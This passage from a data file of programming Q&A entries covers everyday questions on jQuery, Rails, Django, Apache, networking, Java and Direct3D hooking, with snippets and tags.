centerImageCanvas();\n return false;\n\n
});\n\n },\n // apply style for bg image and
canvas\n centerImageCanvas = function() {\n\n
$bxImgs.each( function(i) {\n\n var $bximg = $(this),\n
dim = getImageDim( $bximg.attr('src') ),\n
$currCanvas = $bxContainer.children('canvas[data-pos=' + $bximg.index() + ']'),\n
styleCSS = {\n width : dim.width,\n
height : dim.height,\n left : dim.left,\n
top : dim.top\n }; \n\n
$bximg.css( styleCSS );\n\n if( supportCanvas )\n
$currCanvas.css( styleCSS );\n\n if( i === current ) \n
$bximg.show();\n\n });\n\n },\n
// shows the image at position \"pos\"\n showImage =
function( pos ) {\n\n // current image \n
var $bxImage = $bxImgs.eq( current );\n //
current canvas\n $bxCanvas =
$bxContainer.children('canvas[data-pos=' + $bxImage.index() + ']'),\n
// next image to show\n $bxNextImage =
$bxImgs.eq( pos ),\n // next canvas to show\n
$bxNextCanvas = $bxContainer.children('canvas[data-pos='+$bxNextImage.index()
+']');\n\n // if canvas is supported\n
if( supportCanvas ) {\n\n $bxCanvas.css( 'z-index',
100 ).css('visibility','visible');\n\n
$.when( $bxImage.fadeOut( animOptions.speed ) ).done( function() {\n\n
switch( animOptions.variation ) {\n\n case 1 :\
n
$.when( $bxNextImage.fadeIn( animOptions.speed ) ).done( function() {\n\n
$bxCanvas.css( 'z-index', 1 ).css('visibility','hidden');\n
current = pos;\n
$bxNextCanvas.css('visibility','hidden');\n
isAnim = false;\n\n });\n
break;\n case 2 :\n
$bxNextCanvas.css('visibility','visible');\n\n
$.when( $bxCanvas.fadeOut( animOptions.speed * 1.5 ) ).done( function() {\n\n
$(this).css({\n 'z-index' :
1,\n 'visibility' : 'hidden'\n
}).show();\n\n
$.when( $bxNextImage.fadeIn(
animOptions.speed ) ).done( function() {\n\n
current = pos;\n
$bxNextCanvas.css('visibility','hidden');\n
isAnim = false;\n\n });\n\n
});\n break;\n\n
};\n\n });\n\n }\n
// if canvas is not shown just work with the bg images\n
else {\n\n $.when( $bxNextImage.css( 'z-index',
102 ).fadeIn( animOptions.speed ) ).done( function() {\n\n
current = pos;\n $bxImage.hide();\n
$(this).css( 'z-index', 101 );\n isAnim = false;\n\n
});\n\n }\n\n };\n\n
return {\n init : init\n };\n\n })
();\n\n // call the init function\n BlurBGImage.init();\n\n
});\n", "jquery background resize html5-canvas"], "394070": ["Error when attempting
to authenticate a user using the Google Contacts API", "I came across this problem
with a company's intranet that we run (powered by Wordpress) - it's got us all
stumped.\nWhen attempting to authenticate a user using the Google Contacts API, an
error is returned after granting permission to access the user's contact list and
before full authentication is given, but no details are given as to what the error
actually is.\nIt was working absolutely fine until one day in late April/early May
it suddenly stopped working.\nWe we're using the following scope:
http://www.google.com/m8/feeds/contacts/default/full.\nAn interim solution has been
put into place, using the Google+ API instead. This is working well, except that
the API is not providing the user's email address after authenticating, only their
profile details.\nWe absolutely need the email address in order to limit access to
the website to people with certain email addresses, as well as intergrate properly
with WordPress' user management, generating new user accounts and linking them to
authenticated email addresses.\nWe'd really appreciate any help!\n", "", "api
google contacts google-oauth"], "1851758": ["Detecting failure of a Bash \"export\"
value", "In Bash I'm executing a command and putting the result in a variable like
this:\nexport var=`svn ls`\nBut if SVN fails for some reason--say it returns a non-
zero error code--export still returns status code 0. How do I detect if the
executed command fails?\n", "", "bash scripting"], "5904569": ["Rails on Subdomain
and Custom Port", "I have to run rails on a shared host for a client via cPanel.\
nThe application is running on a subdomain and non standard port.\nI am using
Authlogic, so on the first visit it detects I am not logged in and I get a page
with:\n\nClicking on that I get the login form, which then takes me to the target
page, with the same redirect message. So the model detects the login, but no cookie
or session is ever created.\nI have tried the following with no success:\n\nI've
also tried using an active record session with same result.\nPlease help :)\
nThanks\n", "\nYou are being redirected.", "ruby-on-rails ruby subdomain
authlogic"], "4001937": ["Which is simpler for using kerberos, Axis2 or CXF?", "I
am new to this field so please take it easy on me if I say something stupid\nI am
trying to use kerberos with web services and am not sure which is more suited\
nAxis2's rampart uses WSSJ 1.6.2 which supports kerberos tokens, can someone give
me more information on how CXF works with kerberos? from what I found, I need to
use spengo but I am lost\nThanks\n", "", "authentication cxf axis2 kerberos"],
"3038808": ["Win 7: Possible to use one task bar icon open both 32 & 64 bit
versions of an app?", "I have to use both the 32 and 64 bit versions of some apps.
There are two different exe's for these. I hate having two of the same icons for
these apps pinned to the task bar. \nIs there a way using the jump list or a
keyboard shortcut + mouse click or something that would let me use one icon to
open both exe's? \n", "", "windows-7 64-bit taskbar jumplist"], "3518947": ["snmp
on devices via ssh", "I have a device in network. I would like to use SNMP to get
information. Is it possible for using SSH and then SNMP for messages over ssh
session ? I am using Java for implementation.\nIt seems snmp4j is not yet ready for
the snmp via ssh. \nCan you please give me some example, if its possible ?\n", "",
"java ssh snmp snmp4j"], "2762239": ["Android: Is it impossible to have a mixed
screen with listview element?", "may be a layout file can explain what I am talking
about\n\n\nAs you see linearlayout act as the root layout element\nand what i want
is a listview for 80% of the screen, the next 20% of screen will be make up with
other elements, for example, button. Is it impossible to do so in android?If so,
which attribute should I work on? \nThanks in advance.\n", "<?xml version=\"1.0\"
encoding=\"utf-8\"?>\n<LinearLayout
xmlns:android=\"http://schemas.android.com/apk/res/android\"\
nandroid:layout_width=\"match_parent\"\nandroid:layout_height=\"match_parent\"\
nandroid:orientation=\"vertical\" >\n\n\n<ListView\n
android:id=\"@+id/listview\"\n android:layout_width=\"match_parent\"\n
android:layout_height=\"400dp\" />\n\n\n\n<LinearLayout\n
android:id=\"@+id/sublayout\"\n android:layout_width=\"match_parent\"\n
android:layout_height=\"match_parent\" >\n\n <Button\n
android:id=\"@+id/button1\"\n android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n android:text=\"@string/text_btn1\"\n
android:onClick=\"select\" />\n\n\n <Button\n android:id=\"@+id/button2\"\n
android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n
android:text=\"@string/text_btn2\"\n android:onClick=\"select2\"
/>\n\n</LinearLayout>\n", "listview android-layout"], "4441630": ["Extract
interface from EF entity", "Obviously we can extract interface from repositories to
inject dependencies. But what happens when the dependency is the ententy directly
like this?\n\nThese entities are generated by EF4 and contain a lot of relations. \
nEDIT: Here's an extra explanation. My test code and mocking generally looks like
this:\n\nThe thing is that if I don't use an interface (IDoerRepository becomes
DoerRepository), when the following line is executed, the relevant value is NOT
updated!\n\nThis is why I need to have an interface. Of course, here I show the
code for a repository, but it is the same for an entity.\n",
"checkCompatibility.IsCompatible(doer, activity)\n", "c# entity-framework entity-
framework-4 dependency-injection"], "1621600": ["opengl view coordinate system
transformation?", "I am using OpenGL ES 2.0 to draw an object on an Android device.
But my problem is when I use function to setup view transformation matrix, its
component look like below when eye is at (2, 0, 2) in world space and lookat (0, 0,
0) point in world space.\n\nthen I make view transformation matrix manually. First
I rotated the xz plane by 45 degrees in counter-clockwise seeing from +y axis side,
then I substracted sqrt(2*2 + 2*2) from the z axis components. In the end view
transformation matrix looks like below which i don`t understand. \n\nIs there
something wrong with my manual calculation, or rotates in the opposite direction?\
n", "setlookat", "opengl-es opengl-es-2.0 transformation coordinate-systems
coordinate-transformation"], "5135987": ["What is the most secure way to set up the
MySQL user in WPMU?", "I am setting up Subdomain based MU on my domain.Everything
is hosted by me running on one CentOS/Webmin VPS. Will I be better off setting the
MySQL user's domain as localhost, 127.0.0.1 or with a wildcard %.mydomain.com?
Which is more secure? Is localhost === 127.0.0.1? If not what is the difference?\
nAlso, what is my domain from MySQL's or Wordpress' pov when I am connected by ssh
terminal? How about When I connect by Webmin or Usermin? I know that does not
appear directly WordPress related, but My Usermin users will be power bloggers who
need Superuser privileges, so I need to provide a clean interface. I am thinking
about providing a plugin.\nAny MySQL gurus out there?\n", "", "mysql security
installation"], "5600305": ["Customize Audio Video Chat Module For Fusebox php5",
"I m working on one project where we want to add online chat module. There are so
many setting that can be done while chatting like volume control,file
sending,private massage etc. \nPlease help me out if any one has such available.\
nThanks!\n", "", "php5"], "1079263": ["Using django custom middleware for setting
cookies", "I've written a decorator for use with a small number of views that
examines the referrer and user agent in determining whether to bypass the login.
This works rather well, but in the case of certain referrers I want to limit users
to x number of free passes per day and to track information about those passes in a
cookie.\nIt seems messy to handle the cookie setting in the view and I'd rather
deal with it through middleware.\nWhat's the best practice for having a decorator
pass to the middleware whether or not to increment the cookie? Or is there an
entirely better way to go about this? \n", "", "django middleware decorator"],
"5132107": ["how to suppress a message box while unit testing?", "I am using VS2008
and created a unit testing project therein to test my component.\nWhile running
unit tests for invalid test cases, i am getting message box. And for each such
message box, i
need to click it to proceed. I want to avoid the manual intervention needed for
these message boxes.\nIs there any way to suppress them programatically? All these
messages are with OK button only.\nAny help.\ntia,\nkapil\n", "", "visual-studio-
2008 unit-testing c#-3.0"], "4887767": ["abstract classes ,constructor and
interface", "I'm really confused, and I've read a TON of questions on this topic
and I have not been able to pinpoint anything specifically that an interface can do
that an abstract class cannot do.\n", "", "java interface abstract-class"],
"5003617": ["Error \"Can not resolve reference to multiname unambiguously\"",
"Personal is giving this error and I can not solve it.\n\n", "Can not resolve
reference to multiname unambiguously. FacebookMobile (from C: \\ Users \\ \nRobinho
\\ Adobe Flex Builder 4.6 \\ FacebookMobile \\ src \\ FacebookMobile.mxml) and \
ncom.facebook.graph: FacebookMobile (from C: \\ Users \\ Robinho \\ Adobe Flex
Builder 4.6 \\ \nFacebookMobile \\ libs \\ GraphAPI_Mobile_1_8_1 . swc
(com.facebook.graph: FacebookMobile)) \nare available.\n", "facebook flex3"],
"2825124": ["How to automatically know the name of a field of an array in php?", "I
just have a little question, I can't find any answer since I don't know exactly how
to formulate it on Google.\nSo I have this array comming from a querry:\n\nAnd I
want to get all the information rowid, id, qty ... to store it through a foreach
loop in abother variable without knowing the name of the second array :
'aad3177ec0cbced7a15fae003bdd0ff3'. I just want to retrieve articles from a cart
stored in a database when user loged out.\nSo How can I say something like :\n\
nIdeally, my code would look like that : \n\nwithout knowing the
aad3177ec0cbced7a15fae003bdd0ff3.\nAny Idea ? Thanks :)\n", "Array\n(\n [0] =>
Array\n (\n [aad3177ec0cbced7a15fae003bdd0ff3] => Array\n
(\n [rowid] => aad3177ec0cbced7a15fae003bdd0ff3\n
[id] => 21\n [qty] => 1\n [price] => 176\n
[name] => KRUPS YY1305 \n [image] =>
utilities/images/products/p2070396dt.jpg\n [description] => Menu
simplifi\u00e9 pour une convivialit\u00e9 optimale. \n
[subtotal] => 176\n )\n\n )\n\n)\n", "php arrays codeigniter
foreach cart"], "356153": ["MVC: Cardinality relationships of Views and
Controllers", "In a generic sense of the MVC, is the relationship of the View and
Controllers generally expected to be M:1? That is, many views will use the same
controller? But a view will not use many different controllers? \nOr, should I be
able to swap any view with any controller and have everything work? I see a rather
tight dependency between the two at this time and so this wouldn't work with my
current layout...\nI'm trying to design something for a class project, and I'm not
sure how to organize / design my views and controllers. \nUpdate: The answers I've
received thus far have been helpful but not definitive. Lets expand my question a
bit. In retrospect, an important aspect is that the model can change (strategy
pattern*) In one instance, the model may create a database. In another, it may
read from the database. My original design goal was to get a uniform (albeit
simple) view in place that would be able to deal with all of the models.\n*I read
(here) that the Controller can be looked at as a Strategy Pattern implementation.
My model will be implemented in a similar but separate fashion.\nHere's a quick
(incomplete) class diagram of the concept (given the updated info):\n\n", "", "mvc
software-engineering software-design"], "5926854": ["Open Source Crawler", "I came
across an open source crawler that recently hit my site. I was wondering, 1. How
do you get a list of sites to crawl? 2. Can you get a list of sites to crawl in
your city? 3. If you have all this information, where is this readily available
from and what APIs are there to access this information?\nThanks,\nWalter\n", "",
"web-crawler"], "3480826": ["Data Repository Organization", "So, I'm developing
some software, and trying to keep myself using TDD and other best practices.\nI'm
trying to write tests to define the classes and repository.\nLet's say I have the
classes, , , .\nNow, do I create the class as something like\n\nWhich will
serialize nice, but, if I don't care about the , or details is not as lightweight
as one would like. Or do I just store IDs to items and add a function for getting
them?\n\nAnd how would you structure the repository for something like this?\nDo I
use an abstract CRUD repository with methods , , that each items repository
inherits from, and adds it's own specific methods too, something like this?\n\
nWhat's the 'best practice' here?\n", "Customer", "language-agnostic repository-
pattern"], "3914510": ["veth, macvlan or maybe sth else?", "I don't understand the
modes of lxc network. \nI'd like to have 4 guests: apache1, apache2, database and
frontdoor\nfrontdoor is a squid which decides which apache should be used\nIt works
perfectly on vservers, when all of guests has a dummy interface (isolated from web)
and frontdoor has two interfaces real eth0 and dummy\nNow I migrate to lxc, and
instead of dummy I use bridge (on host) and mode=veth (on guests)\nI'm not happy
seeing four vethLIJG3f in ifconfig, but let's see its ok. \nthe problem is, that I
CAN'T get to squid. I'm trying to \niptables -t NAT -A PREROUTING -p tcp --dport 80
-j DNAT --to-dest 172.16.0.2 \nbut it simply doesn't work.\nI wonder if I should
change veth to something else?\n", "", "debian network-share lxc"], "3936125": ["Is
it possible to use relative path in ProxyPass/ProxyPassReverse?", "For example
there is following configuration in httpd.conf: \n\nNow I should use absolute urls
to forward requests from \"/myapp\" to \"/app\": \n\nIs it possible to use
relative path in ProxyPass/ProxyPassReverse? \n\n", "ProxyPass app
http://somehost:someport/App_1 \nProxyPassReverse app
http://somehost:someport/App_1 \n", "apache proxy apache2 reverse-proxy"],
"4436369": ["BIRT: Adding multiple Category (X) Series", "I have a single dataset
containing 4 columns, each showing the number of rejections for a quarter-year. A
5th column shows the Team to which those values belong.\nIs it possible to add 4
fixed points on the x-Axis, each belonging to one of these columns? Then I could
add the Team as the Y-Series. I'd like to see the evolution of each team in time.\
n", "", "reporting birt business-intelligence birt-report"], "2473986": ["Is 100%
code coverage a pipe dream?", "Is it feasible to expect 100% code coverage in heavy
jquery/backbonejs web applications? Is it reasonable to fail a sprint due to 100%
coverage not being met when actual code coverage hovers around 92%-95% in
javascript/jquery? \n", "", "code-quality tdd bdd"], "3292814": ["Checkbox centered
to label", "Can somebody help me to center the check box to his label? With the
code below the check box is at the top.\n\nThanks for your help!\n", "<label
for=\"checkbox\">Label</label>\n<input name=\"checkbox\" type=\"checkbox\" />\n",
"html css checkbox label"], "4385946": ["Showing $(v - \\hat{v})\\,\\bot\\,v$",
"$\\fbox{Setting}$\nLet $V$ be an inner-product space with $v \\in V$.\nSuppose
that $\\mathcal{O} = \\{u_1, \\ldots, u_n\\}$ forms an orthonormal basis of $V$.\
nLet $\\hat{v} = \\left\\langle u_1, v\\right\\rangle u_1 + \\ldots + \\left\\
langle u_n,v\\right\\rangle u_n$ denote the Fourier Expansion of $v$ with respect
to $\\mathcal{O}$.\n$\\fbox{Question}$\nHow do we show that $\\left\\langle v - \\
hat{v}, \\hat{v} \\right\\rangle = \\left\\langle v, \\hat{v} \\right\\rangle - \\
left\\langle \\hat{v}, \\hat{v} \\right\\rangle$ is $0$?\n", "", "linear-algebra"],
"4803604": ["How to replicate :nth-child in IE7 (without jquery)", "The following
question is now moot as I have been informed by the client that the li's are going
to be a fixed height also which means I won't have to worry about them not
displaying as I require. Thanks to everyone for taking the time to read the
question and providing answers and feedback.\nI have a ul (with a fixed width) with
li's of unequal heights but a fixed width and margins and I want to float them left
and have them flow naturally. If you view the jsfiddle I have created it will make
a bit more sense. Or have a look at my highly technical mockup below.\n\nI'm
using :nth-child to clear every second li thus achieving the results I want. This
is grand in all browsers except IE7 (big surprise). \nThe reason I can't use jQuery
or add extra classes to the markup is because it is dynamic content generated from
a SOLR search which returns the li's as the search results. Also because the
results get loaded in via AJAX I can't target them via JQuery (believe me I
tried).\nI don't mind how hacky the fix (if there is one) so long as it works.\
nThanks in advance.\n", "", "css internet-explorer-7 css-selectors html-lists nth-
child"], "5184192": ["Django JavaScript loading fails irregularly", "I am
developing a Django project on localhost with some included JavaScript files in a
base.html template. My JavaScript includes are at the bottom of the page: \n\
nSometimes, but frustratingly, not always, when I load or refresh a page, the GET
request for one of the JavaScript files fails. Sometimes it's the request for
jquery-ui, sometimes it's for jQuery itself, and other time it's for bootstrap.js.
If I paste the url directly into the browser, the JavaScript file loads perfectly
fine, so it's not a problem with my media urls. \nIn Chrome, if I click on the
console error and view the network tab, the status says \"(failed)\" and the type
says \"pending.\" The request headers seem to show that the request has not
actually failed, it just
hasn't gone through at all. \n\nFinally, loading the pages in Firefox does not
produce an error, but shows that the response for the JavaScript files returns a
304.\nIs this a problem with how I'm serving my static media (nothing special
besides the usual static media settings)? with Chrome? How can I fix the issue? \
n", "... other stuff...\n<script src=\"/media/js/jquery.js\"
type=\"text/javascript\"></script>\n<script src=\"/media/js/jquery-ui-
1.9.1.custom.js\" type=\"text/javascript\"></script>\n<script
src=\"/media/js/bootstrap.js\" type=\"application/javascript\"></script>\n<link
rel=\"stylesheet\" href=\"/media/css/pepper-grinder/jquery-ui-1.9.1.custom.css\" />
\n{% block extrajs %}\n{% endblock %}\n</body>\n", "javascript django google-chrome
httprequest"], "6005485": ["django mod_wsgi memory problem", "I have my django
application on a VPS server (128mb ram)\nWhen i start it with python manage.py
runserver, it works perfectly, but if I try to use it over apache/mod_wsgi it
causes major slowdown very soon (after I click few random links on my webpage) and
it seems to run out of memory. \nThat even happens with \"hello world\"
applications.\nBut it's kinda weird since it runs fine wit manage.py runserver\nAny
ideas?\n\n", "/var/log/apache2/error.log\n-----------------------------\n[Wed Feb
10 00:00:40 2010] [error] [client 65.55.37.202] File does not exist:
/var/www/robots.txt\n[Wed Feb 10 00:01:22 2010] [error] [client 65.55.37.202] File
does not exist: /var/www/file\n[Wed Feb 10 00:02:32 2010] [warn] child process 2023
still did not exit, sending a SIGTERM\n[Wed Feb 10 00:02:32 2010] [warn] child
process 1961 still did not exit, sending a SIGTERM\n[Wed Feb 10 00:02:32 2010]
[warn] child process 1994 still did not exit, sending a SIGTERM\n[Wed Feb 10
00:02:32 2010] [warn] child process 1995 still did not exit, sending a SIGTERM\
n[Wed Feb 10 00:02:32 2010] [warn] child process 1996 still did not exit, sending a
SIGTERM\n[Wed Feb 10 00:02:33 2010] [warn] child process 2023 still did not exit,
sending a SIGTERM\n[Wed Feb 10 00:02:33 2010] [warn] child process 1961 still did
not exit, sending a SIGTERM\n[Wed Feb 10 00:02:33 2010] [warn] child process 1994
still did not exit, sending a SIGTERM\n[Wed Feb 10 00:02:33 2010] [warn] child
process 1995 still did not exit, sending a SIGTERM\n[Wed Feb 10 00:02:33 2010]
[warn] child process 1996 still did not exit, sending a SIGTERM\n[Wed Feb 10
00:02:34 2010] [notice] caught SIGTERM, shutting down\n[Wed Feb 10 00:15:31 2010]
[notice] mod_python: Creating 8 session mutexes based on 150 max processes and 0
max threads.\n[Wed Feb 10 00:15:31 2010] [notice] mod_python: using mutex_directory
/tmp \n[Wed Feb 10 00:15:32 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4
with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_wsgi/2.3 configured --
resuming normal operations\n[Wed Feb 10 00:17:24 2010] [error] [client
202.152.243.143] File does not exist: /var/www/file, referer: http://www.webmaster-
tutorial.com/view/919\n[Wed Feb 10 00:19:56 2010] [error] [client 202.152.243.143]
File does not exist: /var/www/favicon.ico\n[Wed Feb 10 00:20:09 2010] [error]
[client 202.152.243.143] File does not exist: /var/www/favicon.ico\n[Wed Feb 10
00:23:25 2010] [error] (12)Cannot allocate memory: fork: Unable to fork new
process\n[Wed Feb 10 00:23:41 2010] [error] (12)Cannot allocate memory: fork:
Unable to fork new process\n[Wed Feb 10 00:23:52 2010] [error] (12)Cannot allocate
memory: fork: Unable to fork new process\n[Wed Feb 10 00:24:03 2010] [error]
(12)Cannot allocate memory: fork: Unable to fork new process\n[Wed Feb 10 00:24:16
2010] [error] (12)Cannot allocate memory: fork: Unable to fork new process\n[Wed
Feb 10 00:24:29 2010] [error] (12)Cannot allocate memory: fork: Unable to fork new
process\n[Wed Feb 10 00:24:39 2010] [error] (12)Cannot allocate memory: fork:
Unable to fork new process\n[Wed Feb 10 00:24:51 2010] [error] (12)Cannot allocate
memory: fork: Unable to fork new process\n[Wed Feb 10 00:25:01 2010] [error]
(12)Cannot allocate memory: fork: Unable to fork new process\n[Wed Feb 10 00:25:11
2010] [error] (12)Cannot allocate memory: fork: Unable to fork new process\n[Wed
Feb 10 00:25:21 2010] [error] (12)Cannot allocate memory: fork: Unable to fork new
process\n[Wed Feb 10 00:25:31 2010] [error] (12)Cannot allocate memory: fork:
Unable to fork new process\n[Wed Feb 10 00:25:41 2010] [error] (12)Cannot allocate
memory: fork: Unable to fork new process\n----------------------------------\n",
"python django mod-wsgi"], "3936124": ["RTP: recommend strategy in order to achieve
fluent audio stream", "Let me explain what I mean when I say fluent audio
stream. \nI have a VOIP application which transfers PCMU encoded audio wrapped in
RTP packages through UDP. I already implemented mechanisms which deal with package
losses(as suggested in rfc3550). \nThe problem is that due to platform
limitations(blackberry OS) I need to maintain a constant flow of data i.e. I need
to pass X bytes every S milliseconds.\nBecause of network delays, undelivered
datagrams etc. I can't guarantee that constant data flow so I created a separate
thread which compensates the packages which were dropped or delivered late with
fake packages(\"silence\"). \nSo my question is - can anyone suggest a good way
to combine the fake packages and the real ones? I realize that adding a fake
package automatically increases the lag and maybe I should ignore a real RTP
packages after that but as I said this is because of platform limitations and I am
willing to make compromises with the quality of the audio and have some additional
speech loss.\n", "", "algorithm audio voip rtp"], "1576508": ["How can I write a
Java application that can update itself at runtime?", "I would like to implement a
java application (server application) that can download a new version (.jar file)
from a given url, and then update itself at runtime.\nWhat is the best way to do
this and is it possible?\nI guess that the application can download a new .jar file
and start it. But how should I do the handover, e.g. know when the new application
is started and then exit. Or is there a better way to do this?\n", "", "java update
jar autoupdate server-application"], "367063": ["Splitting the audio file in
opencv", "I am dealing with a music compression software.So reached a case to split
the audio file to many.How can I split the single audio file into many packets in
opencv??\n", "", "audio opencv compression music core-audio"], "5063970": ["Java
Garbage Collection Log messages", "I have configured java to dump garbage
collection information into the logs (verbose GC). I am unsure of what the garbage
collection entries in the logs mean. A sample of these entries are posted below.
I've searched around on Google and have not found solid explanations. \nI have some
reasonable guesses, but I'm looking for answers which provide strict definitions of
what the numbers in the entries mean, backed up by credible sources. An automatic
+1 to all answers which cite sun documentation. My questions are:\n\nWhat does
PSYoungGen refer to? I assume it has something to do with the previous (younger?)
generation, but what exactly? \nWhat is the difference between the second triplet
of numbers and the first?\nWhy is a name(PSYoungGen) specified for the first
triplet of numbers but not the second? \nWhat does each number (memory size) in the
triplet mean. For example in 109884K->14201K(139904K), is the memory before GC
109884k and then it is reduced to 14201K. How is the third number relevant? Why
would we require a second set of numbers?\n\n\n8109.128: [GC [PSYoungGen: 109884K-
>14201K(139904K)]\n 691015K->595332K(1119040K), 0.0454530\n secs]\n8112.111: [GC
[PSYoungGen: 126649K->15528K(142336K)]\n 707780K->605892K(1121472K), 0.0934560\n
secs]\n8112.802: [GC [PSYoungGen: 130344K->3732K(118592K)]\n 720708K-
>607895K(1097728K), 0.0682690\n secs]\n\n", "", "java logging garbage-collection
sun"], "1078375": ["CPU temp very hot in BIOS but okay in RealTemp/Speedfan", "I
just built myself a new i7 2600k system with an Intel DP67BA motherboard. Booted
into BIOS and was alarmed to find Processor temp reported at 75 C, and steadily
rising... sat there while it rose to 91 C. Updated BIOS... same thing. Removed the
heat sink, removed stock thermal compound and applied Arctic Silver 5 (carefully
following all instructions form Arctic Silver's website). Booted into BIOS... same
thing. Temps seemed even a bit hotter. \nDecided to go ahead and install Windows
anyway, and see what RealTemp/Speedfan had to say. Install successful, ran
RealTemp, and it's telling me my core temps are sitting at 36 C. Same thing in
Speedfan. Ran a stress test in Prime 95, and temps did indeed rise, up to 90 C. But
obviously they couldn't have been at 90 C to begin with, then. \n90 C under load is
obviously quite high, but I'm sitting in the desert with no AC, with room
temperature sitting around 30 C, so 90 under load (with Turbo Boost doing some
automatic overclocking, I assume) doesn't really surprise me that much (though it's
still high). It's the BIOS temp that had me really worried, and still concerns me.\
nSo... what should I make of all this? Doing a little research online seems to
indicate that cpu load in BIOS can range from 80-100% depending on the mobo, which
surprised me (I thought the cpu would be sitting close to idle in BIOS). Do Intel's
boards run CPUs at 100% in BIOS? If that's the case, then I guess that would
explain the high temps corresponding on the RealTemp temps under Prime 95
stress...\nAnyway, any advise/help/thoughts/recommendations are much appreciated.
Need to decide whether everything's A-Okay (based on the RealTemp findings,
basically), or whether I need to replace my cpu and/or mobo. I'm leaning towards
thinking that the BIOS is just screwy, running the CPU on
full load... but perhaps that's a bad conclusion?\n", "", "cpu motherboard bios
intel-core-i7"], "944652": ["Configure Cisco router overload NAT (IOS 15)", "I am
attempting to configure a Cisco 2901 router using IOS 15 to properly perform
NAT/PAT translation between LAN and the internet connection. I've configured DHCP
pool for the local interface, which works properly (even using an additional
switch, wireless access point, ...). Likewise, the WAN interface is configured to
obtain its own IP by DHCP from the ISP. I can work on the LAN computers and I can
access the internet directly from the router (using, for example, telnet and
router's ping commands).\nThe problem is, NAT does not work properly and connection
from the LAN interface (GigabitEthernet0/1) does not reach the WAN interface
(GigabitEthernet0/0).\nI have followed several guides on the matter, but it seems
that no matter what I do, NAT just doesn't seem to work. I have tried both the NAT
inside source list and the NAT pool source list (being the current ISP-assigned IP)
described in the guides.\nAttached is the complete configuration, hoping someone
finds the problem I have missed.\n\n\nUPDATE 1:\nTried specifying outbound rules by
adding\n\nbut to no avail.\nAfter that, also tried utilizing nat pools and route
maps, resulting in\n\nBoth with and without any combination of and either or the
ISP default gateway IP. Results in an of\n\nSadly, nothing so far worked.\nFull
final configuration.\n", "interface GigabitEthernet0/0 overload", "cisco router
nat"], "3942883": ["Rails/Devise - Determining when user session will expire",
"When using the module for Devise, how can one determine how long it will be
before the current user's session expires? The goal is to include this value in
all responses so client side script can make use of it. I gather that Devise
internally uses Warden for authentication, but I haven't found anything that
explains how to pull the session expiration time out of the depths of Warden.\n",
"timeoutable", "ruby-on-rails devise warden"], "936608": ["HP Pavilion G4-1315dx
and Ubuntu 10.04 Lucid Wireless Networking", "As the title says, I have an HP
Pavilion G4-1315dx Notebook.\nRelevant Specs:\n\nAMD Quad-Core\nRealtek Wireless
chipset\nWireless \"on/off\" switch is the F12 key\n\nInitially, I completely
reformatted and installed Ubuntu 10.04, everything was working fine with the
exception of the wireless networking. \nI did extensive searching of Ubuntu
documentation, online forums, and google, and found similar issues but none were
exact matches to this machine. \nI ensured I had the right linux drivers for the
chipset, made sure it wasn't hard or soft blocked, and tried different network
managers, ect. If it was a suggestion, I tried it. Nothing worked.\nI reinstalled
windows 7, got the drivers from HP, and the wireless works perfect. \nFrom this I
gathered that controlling the power to the wireless card through the F12 key must
be the issue. I could never get the indicator light to change to white until I
installed software called the HP connection manager.\nSo I reinstalled lucid and
installed wine, to try to run the HP connection manager. This still doesn't seem to
work.\nHas anyone encountered this issue? Ideas on solving it?\nI thought about
also running lucid as a virtual box inside windows to see if that might work. Or
even buying a USB networking card that is known to work with linux. Thank you in
advance for the advice.\n", "", "windows-7 ubuntu wireless-networking hp realtek"],
"3914512": ["How to give object away to python garbage collection?", "There are
several threads on Python garbage collection in SO, and after reading about five,
plus some doc on line, i am still not sure as to how garbage collection works and
how i should manage objects which i am not using. In fact somewhere i read one
should not do anything about collecting garbage, others tell one should objects,
while others again explain de-referencing an object is enough for Python to collect
it as garbage.\nSo, at the risk of creating a duplicate, i will ask the question
again, but differently, hoping to get more comprehensive and clearer information.\
nIn my case i want to make a small simulation with objects representing people.
Several instances of the class will be created. It should exist for some time
until it virtually \"dies\" while other instances will be created.\nNow how do i
make this instance \"die\" (assuming many many of these instances will be created
and i don't want these instances to hang out like ghosts)?\nThere are several ways
i can reference an object:\n\nor\n\nor\n\nWhat is the best way to keep my program
clean, freeing resources optimally? And what is the best way then to reference my
object so i can control the deletion of the object?\n", "del", "python reference
garbage-collection"], "595506": ["Separating base resources through framework", "We
have a framework setup like that:\n\nNow, the resource in clientLibrary1 must be
specific for web app1 and web app2. The is static and I can't override it in the
web apps. So I need a solution for separating this base resource thorough the web
apps. I need a simple and practical solution for that. \n", "web application 1 =>
uses clientLibrary1\nweb application 2 => uses clientLibrary1\n\nclientLibrary1 ==>
renders localResource.aResource(embedded in clientLibrary1)\n", "c# resources
resourcemanager client-library"], "3249979": ["\"this declaration ahs no type
specifier\" and \"expected a declaration\" errors in same function", "I have this
code:\n\nat the 5th line it says \"this declaration has no storage class or type
specifier\" it says this at FORCE_EXIT(10); too. On the second if statement
(if(dwTestPtr....) it says \"expected a declaration\". What is wrong in them?\n",
"HRESULT __stdcall IDirect3DDevice9Hook::BeginScene()\n{\n if(dwD3D9DllBaseAddr &&
dwD3D9DllSize) \n {\n dwD3DDev = (DWORD)pD3DDevice;\n\n _asm mov eax,
dwD3DDev\n _asm mov ebx, [eax]\n _asm mov eax, [ebx+164]\n _asm mov
dwTestPtr, eax \n\n if(dwTestPtr < dwD3D9DllBaseAddr || dwTestPtr >
(dwD3D9DllBaseAddr + dwD3D9DllSize)) {\n FORCE_EXIT( 10 );\n } \n }\
n\n return pD3DDevice->BeginScene();\n}\n", "c++ hook direct3d direct3d9"],
"3577928": ["Java - parse and unsigned hex string into a signed long", "I have a
bunch of hex strings, one of them, for example is:\n\nwhich is the hex value of \"-
3333702275990511909\". This is the same hex you get if you do
Long.toHexString(\"d1bc4f7154ac9edb\");\nFor now, let's just assume I only have
access to the hex string values and that is it. Doing this:\n\nDoesn't work
because it converts it to a different value that is too large for a Long. Is there
away to convert these unsigned hex values into signed longs?\nThanks!\n", "
d1bc4f7154ac9edb\n", "java hex long-integer"], "2340480": ["How to bring a value to
SharePoint dialog", "How can I bring a value to SharePoint Dialog to bind data.\nI
